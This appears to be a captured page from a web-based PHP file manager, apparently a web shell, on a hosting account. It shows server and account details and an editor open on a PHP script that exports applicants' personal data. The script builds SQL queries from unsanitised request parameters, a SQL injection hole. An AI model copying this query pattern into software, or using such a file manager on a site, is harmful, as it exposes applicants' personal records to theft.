Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/udan.org.in/public_htmlbkp/webadmin

Free Space:

1.91 TB

🔧 Quick Actions

✏️ Editing: exportapplications.php

<?php
ob_start();
session_start();
include("includes/inall.php");
$filename="Applications.xls";
$table="coordinators";
$pkey="s_id";
$status="status";
$count=1;
$contents="Sl.\tDate\tType\tName\tFather Name\tDOB\tGender\tEmail-ID\tMobile No.\tVilage/Town\tBlock\tPS\tPIN\tDistrict\n";
$sql="select * from `".$table."` st where 1";
if(isset($_REQUEST['scode']) && $_REQUEST['scode']!="") {
	$sql.=" and st.scode like '%".$_REQUEST['scode']."%'";
}
if(isset($_REQUEST['fdate']) && $_REQUEST['fdate']!="") {
	$sql.=" and st.date>='".$_REQUEST['fdate']."'";
}
if(isset($_REQUEST['tdate']) && $_REQUEST['tdate']!="") {
	$sql.=" and st.date<='".$_REQUEST['tdate']."'";
}
if(isset($_REQUEST['sfname']) && $_REQUEST['sfname']!="") {
	$sql.=" and st.sfname like '%".$_REQUEST['sfname']."%'";
}
if(isset($_REQUEST['sdistrict']) && $_REQUEST['sdistrict']!="") {
	$sql.=" and st.sdistrict='".$_REQUEST['sdistrict']."'";
}
if(isset($_REQUEST['sblkmn']) && $_REQUEST['sblkmn']!="") {
	$sql.=" and st.sblkmn='".$_REQUEST['sblkmn']."'";
}
if(isset($_REQUEST['spnward']) && $_REQUEST['spnward']!="") {
	$sql.=" and st.spnward='".$_REQUEST['spnward']."'";
}
$sql.=" order by st.".$pkey." desc";
$res=mysqli_query($con,$sql);
while($row=mysqli_fetch_assoc($res)) {
	$contents=$contents.$count."\t".dtconvert($row['date'])."\t".$row['type']."\t".$row['sfname']."\t".$row['fname']."\t".$row['sddate']."\t".$row['sgender']."\t".$row['semail']."\t".$row['smobile']."\t".$row['saddress']."\t".$row['sblkmn']."\t".$row['sps']."\t".$row['spin']."\t".$row['sdistrict']."\n";
	$count++;
}
header('Content-type: application/ms-excel');
header('Content-Disposition: attachment; filename='.$filename);
echo $contents;
?>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: exportapplications.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation